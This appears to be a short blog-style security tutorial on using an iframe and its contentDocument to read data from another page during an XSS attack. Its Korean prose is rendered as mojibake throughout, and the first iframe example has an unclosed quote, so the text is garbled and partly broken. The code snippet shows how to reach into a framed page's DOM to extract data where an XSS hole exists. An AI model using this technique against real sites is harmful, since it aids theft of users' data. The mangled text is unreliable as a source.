๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์— ์šฐ๋ฆฌ๋Š” ํ˜„์žฌ ํŽ˜์ด์ง€์—์„œ ๋‹ค๋ฅธ ํŽ˜์ด์ง€๋ฅผ ์‚ฝ์ž…ํ•˜๋Š” ๋ฐฉ์‹์„ ์‚ฌ์šฉํ•œ๋‹ค.

<iframe>

iframe์€ ์ง€๊ธˆ ํŽ˜์ด์ง€์—์„œ ๋‹ค๋ฅธ ํŽ˜์ด์ง€๋ฅผ ํ•˜๋‚˜ ๋” ๋„ฃ์–ด์ค€๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

<iframe src="http://~~~/mypage.php></iframe>

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ ํ•ด๋‹น ์ฐฝ์„ ์—ด๊ณ  ๊ทธ์•ˆ์˜ document์—์„œ ๋ถˆ๋Ÿฌ์˜ค๊ฒŒ ๋œ๋‹ค.

๋‚ด๋ถ€์— ํƒœ๊ทธ id๋ฅผ ๋ถ™์—ฌ ๋„ฃ์–ด์„œ ์ด๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๋Š” ๋ฐฉ์‹์œผ๋กœ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

<iframe src="http://~~~/mypage.php" id="targetFrame"></iframe>
<script> var targetTag = document.getElementById('targetFrame');
var DOMData = targetTag.contentDocument;
DOMData.getElementById('')
#(DOMData ๊ฐ€ document ๊ฐ์ฒด!)
</script>

์ฆ‰ ์›ํ•˜๋Š” ๋นผ์˜ค๊ณ  ์‹ถ์€ ๋ฐ์ดํ„ฐ๋ฅผ ํฌ์‚ฌ ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜๋Š” ๊ณณ์—์„œ ํ™œ์šฉํ•˜๊ฒŒ ๋˜๋Š” ๊ฒƒ์ด๋‹ค.


์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜